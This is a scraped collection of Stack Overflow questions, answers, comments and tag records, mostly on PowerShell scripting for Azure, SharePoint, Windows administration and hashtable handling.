comment on: http://stackoverflow.com/a/79213678
score: 0
type: AnswerComment
has text: Hi @end-user, yes, in classic pipeline, we should navigate to the job, check the **Allow scripts to access the OAuth token** box under Additional options.

http://stackoverflow.com/tag/xml
tags question: http://stackoverflow.com/q/79165708
tags question: http://stackoverflow.com/q/79205845
type: Tag
tags question: http://stackoverflow.com/q/79141636
tags question: http://stackoverflow.com/q/79166949
tags question: http://stackoverflow.com/q/79207740
tag name: xml
tags question: http://stackoverflow.com/q/79201757
tags question: http://stackoverflow.com/q/79256529
tags question: http://stackoverflow.com/q/79401312
tags question: http://stackoverflow.com/q/79318047
tags question: http://stackoverflow.com/q/79312111
tags question: http://stackoverflow.com/q/79291391
tags question: http://stackoverflow.com/q/79441711
tags question: http://stackoverflow.com/q/79488132
tags question: http://stackoverflow.com/q/79533895
tags question: http://stackoverflow.com/q/79487421
tags question: http://stackoverflow.com/q/79536244

http://stackoverflow.com/comment/139694551
type: AnswerComment
comment on: http://stackoverflow.com/a/79218880
type: Comment
has text: Wraps the whole scenario up nicely! Thanks for the detailed explanation. The $env solution is a lot nicer and will use that, tested and works perfect!
score: 0

http://stackoverflow.com/comment/139748073
has text: If you need to use PnP.PowerShell, you should use a Certificate instead of an App Secret. The decprecation of using AppSecrets for the SharePoint Online CSOM is a given by Microsoft, and the PnP.PowerShell module makers have no influence on that (https://github.com/pnp/powershell/issues/1558). Changing to a certificate instead of an AppSecret should resolve your issue: Reference on how to do that here: https://pnp.github.io/powershell/articles/authentication.html#non-interactive-authentication https://learn.microsoft.com/en-us/sharepoint/dev/solution-guidance/security-apponly-azuread
type: QuestionComment
comment on: http://stackoverflow.com/q/79229441
type: Comment
score: 1

http://stackoverflow.com/comment/139521835
has text: "'BB' could be an input filepath, and 'CC' a RegEx" - then what is `AA`?
comment on: http://stackoverflow.com/q/79124278
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139520236
has text: @mklement0 It's just personal experience, it always causes headachs when not wrapping the exe in Start-Process or System.Diagnostics.Process. Especially if you want to have control over the process and not just hand over the entire terminal. Basically pick your poison...
comment on: http://stackoverflow.com/q/79111405
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79153871
score: 0
has comment: http://stackoverflow.com/comment/139574192
has comment: http://stackoverflow.com/comment/139574716
has body: I have the following powershell script on MacOS but theres no clear way to set this flag to false neither with set-spotenant nor with Set-PnPTenant. cd /Users/user/.local/share/powershell/Modules Import-Module Microsoft.Online.SharePoint.PowerShell -UseWindowsPowerShell #Prompt for credentials #Register-PnPEntraIDApp -ApplicationName "PnP Management Shell" -Tenant <tenantId> -Interactive $clientId = "<clientid>" $clientSecret = "<secret>" $adminUrl = "https://<domain>-admin.sharepoint.com" Import-Module PnP.PowerShell -UseWindowsPowerShell Connect-PnPOnline -Url $adminUrl -ClientId $clientId -ClientSecret $clientSecret # connects successfully set-spotenant -DisableCustomAppAuthentication $false # doesnt work Set-PnPTenant -DisableCustomAppAuthentication $true # doesnt work Errors with set-spotenant: The term 'set-spotenant' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. Errors with Set-PnPTenant: The remote server returned an error: (401) Unauthorized. Any workaround from the UI so that i dont have to go through the pain of usign Powershell
type: Question
tagged with: sharepoint
answer count: 1
accepted answer: http://stackoverflow.com/a/79154627
has answer: http://stackoverflow.com/a/79154627
tagged with: powershell
has title: Attempting to set DisableCustomAppAuthentication to false for Azure not working from Powershell
type: AnsweredQuestion
tagged with: azure-active-directory
tagged with: azure
tagged with: microsoft-graph-api

http://stackoverflow.com/comment/139585871
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79160366
has text: `$folder.FullName` contains `C:\Users\public\document\WIP\Personal\Projects` ?

runonce
tags question: http://stackoverflow.com/q/79186769
type: Tag
tag name: runonce

http://stackoverflow.com/comment/139516496
has text: Hello @Vern Anderson, indeed, I put the parameters -Directory, but after checking, even with this it will check every "item" to check if it is a file or a directory and that is why it take so much time
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79121943
type: AnswerComment

http://stackoverflow.com/a/79188739
answers question: http://stackoverflow.com/q/79188506
score: 0
has comment: http://stackoverflow.com/comment/139638481
has comment: http://stackoverflow.com/comment/139639189
has body: Based on available online documentation, it would seem you need to send a POST request to /rest/agile/1.0/sprint/{sprintId}/issue: $jiraHostName = "https://<jira host name goes here>" $targetSprintId = 123 # replace with actual sprint identifier $oauthBearerToken = "<token goes here>" # see https://confluence.atlassian.com/adminjiraserver/jira-oauth-2-0-provider-api-1115659070.html $issuesToUpdate = @( # replace with actual issue identifiers 'PROJ-123', 'PROJ-456' ) $irmArgs = @{ Uri = "${jiraHostName}/rest/agile/1.0/sprint/${targetSprintId}/issue" Headers = @{ 'Authorization' = "Bearer $oauthBearerToken" 'X-Atlassian-Token' = 'nocheck' } Method = Post Body = @{ 'issues' = $issuesToUpdate } ContentType = 'application/json' } Invoke-RestMethod @irmArgs
type: Answer
has comment: http://stackoverflow.com/comment/139638972

http://stackoverflow.com/a/79198138
score: 0
has body: The correct way in the GitHub environment and pure GIT is: git diff --name-only ${{ github.event.before }} ${{ github.event.after }} But I would recommend using changed-files - it handles a lot of other cases not just simple commits, but also PR, forks.
type: Answer
answers question: http://stackoverflow.com/q/79187311

http://stackoverflow.com/a/79228637
upvote count: 1
has comment: http://stackoverflow.com/comment/139738815
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/139738894
type: AcceptedAnswer
has body: The following general advice applies: Write-Host is typically the wrong tool to use, unless the intent is to write to the display only, bypassing the success output stream and with it the ability to send output to other commands, capture it in a variable, or redirect it to a file. Additionally, when you pass a collection (something that is enumerable) by argument, Write-Host, performs space-separated, single-line output formatting based on simple .ToString() calls, which with complex objects typically results in unhelpful representations, which is what you saw - see next point. To output a value, use it by itself; e.g, $value, instead of Write-Host $value (or use Write-Output $value, though that is rarely needed); see this answer. When printing to the display or when implicitly stringifying output for outside callers in PowerShell CLI calls, PowerShell's rich, for-display output-formatting system is used to create the string representations. In-session, if you truly want to bypass the success output stream while still printing richly formatted representations to the display only, pipe to Out-Host. Therefore, the idiomatic reformulation of your code is the following, using pipeline-based parameter binding and relying on the pipeline's auto-enumeration behavior: Get-AzWvdHostPool -ResourceGroupName Group1 | Get-AzWvdSessionHost The Get-AzWvdSessionHost cmdlet's output objects determine the particular shape of the for-display representations, either by virtue of predefined formatting data associated with their type or, in its absence, whether the output objects have 4 or fever (public) properties (in which case Format-Table is implicitly used) or more (in which case Format-List is used). Either way, you're free to pipe to the various Format-* cmdlets to modify the default for-display representation, but note that using these cmdlets is only ever appropriate for display formatting, not for outputting data.
answers question: http://stackoverflow.com/q/79227817
type: Answer
accepted answer of: http://stackoverflow.com/q/79227817

http://stackoverflow.com/q/79110018
tagged with: powershell
has comment: http://stackoverflow.com/comment/139495115
score: 0
has title: How to verifies MSI without using a module
type: UnansweredQuestion
has body: I am using a script that checks if a file is signed and its version (dll, EXE, MSI, PS1) Currently, the script is running from my machine, and modules are allowed to be installed, I am moving the script to a pipeline and I am not allowed to install modules in my company. All the files can be checked except MSI, now I am using the MSI module. Regarding the signing I can use this: Get-AuthenticodeSignature To know the Manufacturer I am using this: $Manufacturer = "Manufacturer: $((Get-MSIProperty -Path $dll -Property Manufacturer).value)" To know the version I am using this: ((Get-MSIProperty -Path $dll -Property ProductVersion).value) Is there any way to do that without installing a module? I saw this but it does not look the same Get-AppLockerFileInformation -Path "" | select -ExpandProperty Publisher | select PublisherName, ProductName, BinaryVersion, BinaryName If I am using it the version looks like this: MajorPartNumber : 8 MinorPartNumber : 6 BuildPartNumber : 56107 PrivatePartNumber : 0 VersionNumber : 2251829260517376 How to convert to string? using .ToString() ?
has comment: http://stackoverflow.com/comment/139495242
type: Question
answer count: 0

http://stackoverflow.com/comment/139552565
has text: Also, an interesting bit some of the flag fields are completely empty of any characters in the input file, we do not seem to be matching on those and need to. Is there a way to make the pattern match the flag field whether there is a character there or not?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79141485
type: AnswerComment

http://stackoverflow.com/comment/139634167
comment on: http://stackoverflow.com/q/79186417
has text: Added a bit more info to make it clearer what the issue is as well as another approach
type: QuestionComment
type: Comment
score: 0

openssh
tag name: openssh
tags question: http://stackoverflow.com/q/79136988
type: Tag

http://stackoverflow.com/comment/139718109
comment on: http://stackoverflow.com/a/79230072
score: 0
has text: Thank you. What's specifically meant by *Azure PowerShell module*? It's the `Az` module, right? https://www.powershellgallery.com/packages/Az/13.0.0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79205646
has title: Install .NET Framework 4.8.1 using Powershell script in Windows Server 2022 DC
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/139671607
has answer: http://stackoverflow.com/a/79205974
tagged with: .net-4.8
tagged with: .net-framework-version
type: Question
tagged with: powershell
has comment: http://stackoverflow.com/comment/139670845
tagged with: windows-server-2022
tagged with: chocolatey
answer count: 1
has body: I am trying to install .NET Framework 4.8.1 using Powershell script in Windows Server 2022 Datacenter. Can I install using Chocolatey (https://chocolatey.org/install.ps1). Please guide me with Powershell .ps1 script to install .NET Framework 4.8.1 in Windows Server 2022 Datacenter. Please note manual download of the package/.exe is not allowed in our environment.

http://stackoverflow.com/comment/139694160
has text: Didn't you mean error code **0x80004005** ? That should be a permission error. Try to run the code as user SYSTEM.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79207740
score: 0

http://stackoverflow.com/comment/139639277
has text: **Comments have been [moved to chat](https://chat.stackoverflow.com/rooms/258797/discussion-on-answer-by-rui-jarimba-azure-devops-unable-to-access-powershell-ou); please do not continue the discussion here.** Before posting a comment below this one, please review the [purposes of comments](/help/privileges/comment). Comments that do not request clarification or suggest improvements usually belong as an [answer](/help/how-to-answer), on [meta], or in [chat]. Comments continuing discussion may be removed.
comment on: http://stackoverflow.com/a/79178363
type: Comment
score: 0
type: AnswerComment

azure-managed-identity
tags question: http://stackoverflow.com/q/79222783
type: Tag
tags question: http://stackoverflow.com/q/79136057
tag name: azure-managed-identity
tags question: http://stackoverflow.com/q/79510254

http://stackoverflow.com/comment/139709778
type: Comment
score: 1
has text: Nice, though I suggest using the higher-precision, more typically used [`[double]`](https://learn.microsoft.com/en-US/dotnet/api/System.Double) type; alternatively, [`[decimal]`](https://learn.microsoft.com/en-US/dotnet/api/System.Decimal).
type: AnswerComment
comment on: http://stackoverflow.com/a/79228299

http://stackoverflow.com/comment/139594739
score: 0
comment on: http://stackoverflow.com/a/79162213
type: AnswerComment
has text: Yeah I was able to retrieve the secrets and keys along with RG through PS script but how can I create a email notification to IT admins email every day to get that runbook or PowerShell script output ?
type: Comment

http://stackoverflow.com/comment/139434658
comment on: http://stackoverflow.com/q/79077437
type: QuestionComment
type: Comment
score: 0
has text: pwsh --version => PowerShell 7.4.5

http://stackoverflow.com/comment/139714539
has text: This is a direct implication of [UAC (user account control)](https://learn.microsoft.com/windows/security/application-security/application-control/user-account-control/how-it-works): "*With UAC, each application that requires the administrator access token must prompt the end user for consent*". Anyway arround that from a user account would be a security issue. You might consider using a special account as the SYSTEM account.
comment on: http://stackoverflow.com/q/79230965
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139737796
type: QuestionComment
type: Comment
has text: hello, because, with -Recurse, even if you put -Directory, the code will parse each item, folder and files, so it will parse billion of files to know if they are folder or not.. and the process of removing item never finish in a day, that why I create my own logic, to avoid parsing each file, when what I want to delete is already grouped in a predefined folder. @SantiagoSquarzon
score: 0
comment on: http://stackoverflow.com/q/79244326

http://stackoverflow.com/comment/139523355
score: 0
type: AnswerComment
type: Comment
has text: Hello Mark. Thank you for your reply. I'm going to take care about what you suggest and the link you mention.
comment on: http://stackoverflow.com/a/79122048

http://stackoverflow.com/comment/139606509
type: AnswerComment
comment on: http://stackoverflow.com/a/79170255
type: Comment
has text: Everything is ok regarding networking/WinRM configuration - this has to be something inside Web Front End itself, otherwise other solution would not have worked. Both are running on top of IIS. Also, in PowerShell itself all commands are working fine but when script is "executed" by Web Front End I get error above.
score: 0

http://stackoverflow.com/q/79216363
tagged with: windows
type: Question
tagged with: firewall
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has body: I would like to have a list of recent firewall changes (as is often made by installing software), and see the details of the firewall change that was made. I managed to get a list within a certain time frame, from EventLogs, where the message contains the interesting info, but I am not sure how to best get that detail without resorting to long RegEx. Get-WinEvent -ErrorAction SilentlyContinue -FilterHashtable @{logname="Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"; id=2097; StartTime=(Get-Date).AddHours(-2); EndTime=Get-Date} ProviderName: Microsoft-Windows-Windows Firewall With Advanced Security TimeCreated Id LevelDisplayName Message ----------- -- ---------------- ------- 2024-11-22 18:18:24 2097 Information A rule has been added to the Windows Defender Firewall exception list.… 2024-11-22 18:18:24 2097 Information A rule has been added to the Windows Defender Firewall exception list.… 2024-11-22 18:18:21 2097 Information A rule has been added to the Windows Defender Firewall exception list.… 2024-11-22 18:18:21 2097 Information A rule has been added to the Windows Defender Firewall exception list.… Piping the previous command to Format-List (fl) gives the details: TimeCreated : 2024-11-22 18:18:24 ProviderName : Microsoft-Windows-Windows Firewall With Advanced Security Id : 2097 Message : A rule has been added to the Windows Defender Firewall exception list. Added Rule: Rule ID: UDP Query User{D0EBCDC7-8C31-463A-ADB9-A72A2FE0EFA9}C:\bin\arduino\arduino ide.exe Rule Name: Arduino IDE Origin: Local Active: Yes Direction: Inbound Profiles: Public Action: Block Application Path: C:\bin\arduino\arduino ide.exe Service Name: Protocol: UDP Security Options: None Edge Traversal: None Modifying User: S-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052 Modifying Application: C:\Windows\System32\svchost.exe PolicyAppId: Error Code: 0 How can I selectively get the table with these columns? TimeCreated, Protocol, Direction, 'Rule Name', 'App…
downvote count: 0
has title: How to get a list of recent firewall changes and the details using powershell?
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/79216575
linked to: http://stackoverflow.com/q/48526192
has comment: http://stackoverflow.com/comment/139688879
has comment: http://stackoverflow.com/comment/139690593
accepted answer: http://stackoverflow.com/a/79216575
favorite count: 0

http://stackoverflow.com/comment/139651303
comment on: http://stackoverflow.com/a/79193354
type: Comment
score: 0
type: AnswerComment
has text: Thanks, @alx9r - good point re calling from inside the same module, but supporting that use case too wasn't a design goal; I've updated the answer to make that clear.

http://stackoverflow.com/comment/139575136
comment on: http://stackoverflow.com/a/79136206
type: Comment
score: 0
has text: You should be sending the log to the ingestion endpoint as defined in the app insights connectionstring
type: AnswerComment

netstat
tags question: http://stackoverflow.com/q/79189293
type: Tag
tag name: netstat

http://stackoverflow.com/comment/139449823
score: 0
has text: Try with `$response = databricks jobs submit --json "$jsonPayload"` or `$response = databricks jobs submit --json "'$jsonPayload'"`
type: QuestionComment
comment on: http://stackoverflow.com/q/79085917
type: Comment

http://stackoverflow.com/comment/139597044
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
type: Comment
has text: In Org Settings - Users - All Users , when I filter out the Application Service Principals and Managed Identity I have no results : " No users match your filter ", so I guess all users members

http://stackoverflow.com/comment/139457346
score: 0
has text: Embedding code means something like this from powershell $code = @" using System; namespace AdditionLib { public static class Addition$id1 { public static void Add2Numbers(int i,int j){ Console.WriteLine("Addition of 2 numbers {0} & {1} is {2}",i,j,i+j); } } } "@ Add-Type -TypeDefinition $code -Language CSharp
comment on: http://stackoverflow.com/q/79089859
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79186465
score: 0
has answer: http://stackoverflow.com/a/79186893
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/803521
has body: I'm trying to gather some detailed information about each of my machines on the network. I'd like to extract the Windows Updates information and see if they are out by a maximum of 30 days, and this is what I've managed to piece together. I know that they work individually, but not when I put them together. Hopefully someone can tell me what I'm doing wrong on with it; $WUpdateResult = (Get-Hotfix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 1).InstalledOn $WUR30Days = $WUpdateResult -lt 30 $info.WUpdateResult = if ($WUR30Days = "False") { $WUpdateResult } else { "N/A" }
tagged with: patch
tagged with: windows
type: Question
answer count: 1
has title: Obtaining Windows Updates information
tagged with: security
tagged with: powershell

http://stackoverflow.com/comment/139448392
type: Comment
comment on: http://stackoverflow.com/q/79084760
score: 0
has text: Manually run this `"c:\windows\syswow64\\windowspowershell\v1.0\powershell.exe"` from admin prompt, it is hanging. After 5 min or so, an eror dialog is popped up saying "Debug" or "Close. Also, had run `dism /online /Cleanup-Image /StartComponentCleanup`, `sfc /scannow` , `dism /Online /Cleanup-Image /RestoreHealth`, but to no avail. The dism did not find a problem.
type: QuestionComment

http://stackoverflow.com/comment/139484761
comment on: http://stackoverflow.com/q/79104926
type: Comment
score: 0
type: QuestionComment
has text: You do not have the permission to access the Route. Most likely the Authorization is not allowed on the route. Solution is either to add the Role to the route in the server or use a different Role. See https://learn.microsoft.com/en-us/aspnet/core/security/authorization/roles?view=aspnetcore-8.0

http://stackoverflow.com/comment/139425399
type: QuestionComment
type: Comment
score: 0
has text: Glad to hear it. Saving your source code as UTF-8 with BOM solely ensures that it is read correctly by Windows PowerShell, and is unrelated to the behavior of file-writing cmdlets such as `Out-File`. That said, passing `-Encoding UTF8` to such cmdlets in _Windows PowerShell_ invariably creates UTF-8 files _with BOM_ (in PowerShell 7, it would create _BOM-less_ UTF-8 files and is redundant, as said encoding is the consistent default there). See [this answer](https://stackoverflow.com/a/66553739/45375) for more information.
comment on: http://stackoverflow.com/q/79072446

http://stackoverflow.com/comment/139496838
has text: Please add more information to your question, as there currently isn't enough to diagnose your problem, ideally in the form of a [mcve]. One thing worth noting is that when you launch a command line from Task Manager, the working directory is `C:\Windows\System32`.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79111405

http://stackoverflow.com/a/79083960
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79081337
has body: To add to MisterSmith's helpful answer, which explains the problem well: If you've just run an installer that has modified the persistent value of the Path environment variable in the registry and you want to instantly see this modification, in the current session (process), you can refresh the value from the registry as follows: $env:Path = [Environment]::GetEnvironmentVariable('Path', 'Machine') + ';' + [Environment]::GetEnvironmentVariable('Path', 'User') You can place this right inside the body of your if ($awsInstalled) { statement. The only small caveat is that if your in-session $env:Path value has been modified dynamically - e.g. via a $PROFILE file - such modifications are lost; if that is a concern, you can append + ";$env:Path" to the above, though this will create duplicate entries (in the current session only), and entries won't be in the same order as in future sessions. For comprehensive troubleshooting of $env:Path issues, see this answer.

http://stackoverflow.com/comment/139526027
comment on: http://stackoverflow.com/q/79126566
type: QuestionComment
type: Comment
has text: Thanks for updating, but your update lacks the _reproducible_ aspect: Running the code with the specified input does _not_ produce the results you're showing (at least for me, but I still don't see how it could result in what you're showing).
score: 0

http://stackoverflow.com/comment/139708511
type: QuestionComment
type: Comment
score: 3
has text: I second what @Bill_Stewart pointed out, `"1,490,967" → 1490.967` doesn't make any sense in ANY culture.
comment on: http://stackoverflow.com/q/79227388

aws-cli
tag name: aws-cli
type: Tag
tags question: http://stackoverflow.com/q/79168232
tags question: http://stackoverflow.com/q/79081337

http://stackoverflow.com/comment/139468581
has text: @elh don't think efficiency matters that much for such a small dictionary, I added a third option in my eyes the simplest one using a `Stack`
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79095515
type: AnswerComment

wmi
tags question: http://stackoverflow.com/q/79191771
tag name: wmi
tags question: http://stackoverflow.com/q/79226757
type: Tag
tags question: http://stackoverflow.com/q/79487796

http://stackoverflow.com/comment/139507210
has text: Try removing the Where-Object to help debug. Usually when you do not get any results the issue is with the filters.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79115944
score: 0

http://stackoverflow.com/q/79120077
has body: We have a problem at our business where Intel Display driver version 31.0.101.* keeps superseding any new version, and driver 31 is a known problem with Citrix and other tools the organization uses. Intel says on their support page about this known problematic driver to keep 31 installed, but beam down driver revision 32.0.101.* from their site. I want to implement an SCCM script that (since a bunch of machines already have driver 32 installed and just switched back to driver 31 after mandatory update days) disables driver 31 and enables driver 32. My current code snippet is this: $Driver31 = "31.0.101." $Driver32 = "32.0.101." $oldDriver = Get-PnpDevice | Where-Object { $_.Version -like $Driver31 } $newDriver = Get-PnpDevice | Where-Object { $_.Version -like $Driver32 } if ($oldDriver) { Disable-PnpDevice -InstanceId $oldDriver.InstanceId -Confirm:$false } When this is run, I receive an error saying the .InstanceId is a null value. What am I doing wrong here?
score: 1
upvote count: 1
favorite count: 0
type: Question
tagged with: powershell
answer count: 1
has title: Pnp-DisableDevice Instance ID coming back as null value
downvote count: 0
has answer: http://stackoverflow.com/a/79120176
type: UnansweredQuestion

http://stackoverflow.com/comment/139502507
has text: Try for debugging : $recoveryData | Sort-Object -Descending -Property DateCreated | Group-Object -Property Name | Format-List and $recoveryData | Sort-Object -Descending -Property DateCreated | Group-Object -Property Name | foreach { $_ | Format-List }
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0

http://stackoverflow.com/comment/139711629
score: 0
comment on: http://stackoverflow.com/q/79223169
type: QuestionComment
type: Comment
has text: If that is ok with you, I can provide you the modified script approach. @Shuzheng

http://stackoverflow.com/a/79200891
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79197594
has body: I did get this figured. In the Windows Advanced Audit Policy, aside from auditing Removable Storage, I also needed to audit "File System" which is not ideal, but I do now get the actual folder created. For others attempting to audit removable storage, you also need to following registry setting set to 1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Storage\HotplugSecureOpen This setting also seems to require a reboot.

http://stackoverflow.com/comment/139579437
type: QuestionComment
has text: @JosefZ So `[enum]::GetNames([Microsoft.HyperV.Powershell.VMOperationalStatus])` gives the english strings of `(Get-VM)[0].Status`, but I'd still need to convert both Get-VM output and enum output to int to compare. Also, your link is dead.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79140459

http://stackoverflow.com/comment/139726563
comment on: http://stackoverflow.com/q/79237732
type: QuestionComment
type: Comment
score: 0
has text: related: [How return the type of a System.__COMObject in System.Type in C#](https://stackoverflow.com/questions/25772156/how-return-the-type-of-a-system-comobject-in-system-type-in-c-sharp)

http://stackoverflow.com/comment/139560886
comment on: http://stackoverflow.com/q/79136266
type: QuestionComment
has text: Did you try to run `where powershell.exe` to detect the location of powershell.exe installed on your machine?
type: Comment
score: 0

http://stackoverflow.com/comment/139609756
comment on: http://stackoverflow.com/q/79172648
score: 0
has text: @SantiagoSquarzon Not sure how Parallel would help here. CommandB is sequential in nature. Even if you get things in parallel from CommandA you'd need to gather it up and make it sequential again keeping the original order. I'm open to suggestions though!
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139508282
comment on: http://stackoverflow.com/a/79111251
score: 0
has text: thanks that help a lot, i upgrade some fields to show more information `code Get-ChildItem -Recurse -Path $PathToSearch | ForEach-Object { $Filename = $_.FullName $FileSize = $_.Length $LastWriteTime = $_.LastWriteTime $Owner = (Get-Acl -Path $Filename).Owner $Accounts = ((Get-Acl -Path $Filename).AccessToString) -split '\n' foreach ($Account in $Accounts) { [PSCustomObject]@{ Filename = $Filename FileSize = $FileSize LastWriteTime = $LastWriteTime Owner = $Owner Account = $Account`
type: AnswerComment
type: Comment

makefile
tags question: http://stackoverflow.com/q/79219476
type: Tag
tag name: makefile

http://stackoverflow.com/comment/139563179
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79148127
has text: How about ``tshark -r a.pcapng -Y "http.request.uri == `"/test.php`" || http.response"``?

http://stackoverflow.com/a/79095501
has body: To construct a new ordered hashtable with the entries of the original one in reverse order, you can enumerate the keys of the original and insert each new entry at position 0 into the new dictionary, which effectively reverses the original order - this is a non-pipeline alternative to mclayton's helpful answer, from which this clever technique is borrowed: # Construct a new ordered hashtable with the entries of the original one in # reverse order. $reversedServiceServer = [ordered] @{} foreach ($key in $serviceServer.Keys) { $reversedServiceServer.Insert(0, $key, $serviceServer[$key]) } $reversedServiceServer # Print the new hashtable, for visual verification. If it is sufficient to stream the ordered dictionary's entries in reverse order, using the pipeline: $i = 0; $serviceServer.GetEnumerator() | Sort-Object { (--([ref] $i).Value) } Update: The [System.Collections.Stack]-based solution in Santiago's helpful answer is a more efficient and elegant alternative (it returns a stack of the original dictionary entries in reverse order; if used in a pipeline, the entries would be auto-enumerated; to explicitly turn the stack into an array, append .ToArray()). While more concise than the solution at the top, it is decidedly slower (though with small hashtables that won't matter), due to the use of the pipeline in general, and a calculated property (script block) used with Sort-Object in particular. The Sort-Object call uses an aux. variable that is decremented for each input object and therefore in effect reverses the order of the input objects;[1] ([ref] $i) is a concise way to refer to the $i variable in the parent scope, which is necessary, because calculated properties run in a child scope of the caller. While the output looks like an ordered hashtable with the entries reversed, it is a stream of [System.Collections.DictionaryEntry] instances, each with a .Key and a .Value property (PowerShell additionally aliases .Key to .Name). [1] This technique was borrowed from t…
score: 4
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/79095487
type: Answer
has comment: http://stackoverflow.com/comment/139468491

http://stackoverflow.com/comment/139552567
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79141485
has text: Yes Ron, working on that now
type: AnswerComment

http://stackoverflow.com/comment/139552378
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79138694
has text: As for the general troubleshooting tips: If the batch file runs visibly, there's no need for `-NoExit`: PowerShell's output will be part of the batch file's output - though placing `pause` at the end of the batch file will help if the batch file isn't run from an interactive session and the console window auto-closes on exiting the batch file. If it runs invisibly, neither `-NoExit` nor `pause` is an option, and redirecting command output to file(s) is required, notably including a `2>` redirection to capture errors (too).
type: AnswerComment

http://stackoverflow.com/comment/139500238
type: QuestionComment
type: Comment
has text: @ZiyangLiu-MSFT 1. Unfortunately I can't do that because this is handled by separate ops team which will not let me do that. 2. No, this does not have more info about this request error 3. Yaml file is very simple. It just have checkout code and then run script. I updated original message with yaml file
score: 0
comment on: http://stackoverflow.com/q/79098114

http://stackoverflow.com/comment/139526082
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79126566
has text: If there is a secure place I can upload the actual batch file to help with this, I am happy to do so.
score: 0

http://stackoverflow.com/comment/139730859
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79239902
score: 0
has text: The answer is most likely no.

http://stackoverflow.com/a/79093375
score: 0
has body: I played around a little bit and found a potential solution: # Execute the activation in a new Process # BUT: keep input and output bound to the # current window `-NoNewWindow` Start-Process -NoNewWindow -FilePath "cmd.exe" -ArgumentList "/c pyenv-venv activate dev3.12.3" # Wait for start up of new shell Start-Sleep -Seconds 2 # Use WSH to send keystrokes # As the newly spawned shell is bound to the # inputs of this window, the inputs go to # the newly spawned shell. Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.SendKeys]::SendWait("jupyter notebook --ServerApp.root_dir D:\drescherlab\misc-win{ENTER}") However, once the last command [System.Windows... is executed, the script returns. Outputs of the notebook are still shown, but now inputs go to the original shell and to the notebook. Furthermore, the output of the notebook is interspersed with PS C:\Users\me> outputs of the original shell. I hope, powershell allows for a more elegant solution.
has comment: http://stackoverflow.com/comment/139464501
type: Answer
answers question: http://stackoverflow.com/q/79093235

http://stackoverflow.com/comment/139609907
has text: Note that an mre is about reproducing a *problem*, not about defining a data set (only).
comment on: http://stackoverflow.com/q/79173069
type: QuestionComment
type: Comment
score: 3

http://stackoverflow.com/a/79088307
score: 1
answers question: http://stackoverflow.com/q/79088290
has comment: http://stackoverflow.com/comment/139458405
has body: The &amp; at the end of a command is a bash directive (i.e. Linux / Unix command line) to run a program in the background. It doesn't have this functionality under Windows. The simplest thing to do is bring up two separate Command Prompts and run the program in each of them at roughly the same time.
type: Answer
downvote count: 1
upvote count: 2
has comment: http://stackoverflow.com/comment/139459126

http://stackoverflow.com/comment/139474029
comment on: http://stackoverflow.com/a/79098837
type: Comment
type: AnswerComment
score: 1
has text: @SantiagoSquarzon Yup, completely superfluous, and indeed identical to the object filter used by the object factory `Get-ADUser` uses internally anyways :)

http://stackoverflow.com/a/79151093
has comment: http://stackoverflow.com/comment/139573369
has comment: http://stackoverflow.com/comment/139571158
has comment: http://stackoverflow.com/comment/139575866
answers question: http://stackoverflow.com/q/79149903
accepted answer of: http://stackoverflow.com/q/79149903
type: AcceptedAnswer
score: 4
has body: The behavior you're seeing is arguably a bug, present up to at least PowerShell (Core) 7 v7.4.x: If using index notation works for getting an entry's value (e.g. $dict['a']) it should equally work for setting it (e.g., $dict['a'] = 'y'), especially given that both operations work with property notation. The problem is that the parameterized .Item property that is required for index-notation support is an part of an explicit interface implementation, IDictionary.Item, in the base class you derive from, System.Collections.DictionaryBase. While that isn't a problem for getting an entry's value (except in Windows PowerShell, the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), it unexpectedly fails on setting.[1] Given that PowerShell in general surfaces explicit interface implementations as if they were type-native members, the same should apply here. See GitHub issue #24537 for a discussion. Caveat: While your class would work as expected from PowerShell once the bug is fixed, thanks to the latter's implicit surfacing of explicit interface implementations, using it from other .NET languages, notably from C#, would require casting each instance to System.Collections.IDictionary in order to access the dictionary functionality. Workarounds: Either: Call the parameterized .Item property underlying the indexer explicitly, using method syntax, instead of using index notation: Note: This workaround is likely unacceptable, because it requires all callers to employ it; also, it is more obscure and cumbersome than using property notation. However, I'm mentioning it for the sake of completeness. E.g., calling $dict.Item('a') = 'y' (instead of $dict['a'] = 'y') works. Or: Define your MyDict class using embedded C# code via Add-Type, which allows you to surface a type-native indexer (parameterized Item property) that internally defers to the explicitly interface implementation, as shown below; this will make setting entry values…
upvote count: 4
downvote count: 0
type: Answer

http://stackoverflow.com/q/79110499
